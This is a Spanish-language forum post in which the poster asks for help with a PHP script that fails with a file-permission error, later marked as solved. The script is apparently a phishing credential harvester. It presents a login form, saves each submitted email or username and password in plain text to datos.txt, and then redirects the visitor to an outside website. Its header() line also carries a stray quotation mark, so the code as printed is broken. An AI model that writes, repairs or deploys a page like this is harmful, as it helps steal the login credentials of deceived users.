hola! vengo con una duda de php.
verán, estoy haciendo experimentos con php, y tengo creado este código:
<?php
// Comprobamos si se han enviado los datos por POST
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
// Asignamos a variables locales los datos enviados
$email = $_POST['email'];
$password = $_POST['password'];
// Abrimos el archivo para escritura
$file = fopen("datos.txt", "w");
// Comprobamos si se ha abierto el archivo correctamente
if ($file) {
// Escribimos los datos en el archivo
fwrite($file, "Email o usuario: " . $email . "\n");
fwrite($file, "Contraseña: " . $password . "\n");
fclose($file);
} else {
// Si no se ha podido abrir el archivo, mostramos un mensaje de error
echo "Error al abrir el archivo para escritura. ";
// Comprobamos si el archivo existe
if (!file_exists("datos.txt")) {
echo "El archivo no existe. ";
}
// Comprobamos si el archivo tiene permisos de escritura
if (!is_writable("datos.txt")) {
echo "El archivo no tiene permisos de escritura. ";
}
exit();
}
header("Location: "http://rayoscompany.com/");
exit();
}
?>
<!-- Creamos el formulario HTML -->
<form action="login.php" method="post">
Correo electrónico o nombre de usuario: <input type="text" name="email"><br>
Contraseña: <input type="password" name="password"><br>
<input type="submit" value="Enviar">
</form>
el código se ejecuta bien, la página, todo bien.
pero al darle al enviar datos, me salta siempre el error de permisos de archivo.
revisé los permisos del txt y todo eśta marcado, se los di también con el comando chmod.
chmod u+w directorio/
chmod u+w datos.txt
pero nada.
alguien podría saber por qué?
gracias!
Edito:
ya pude darle permisos correctamente al archivo de datos.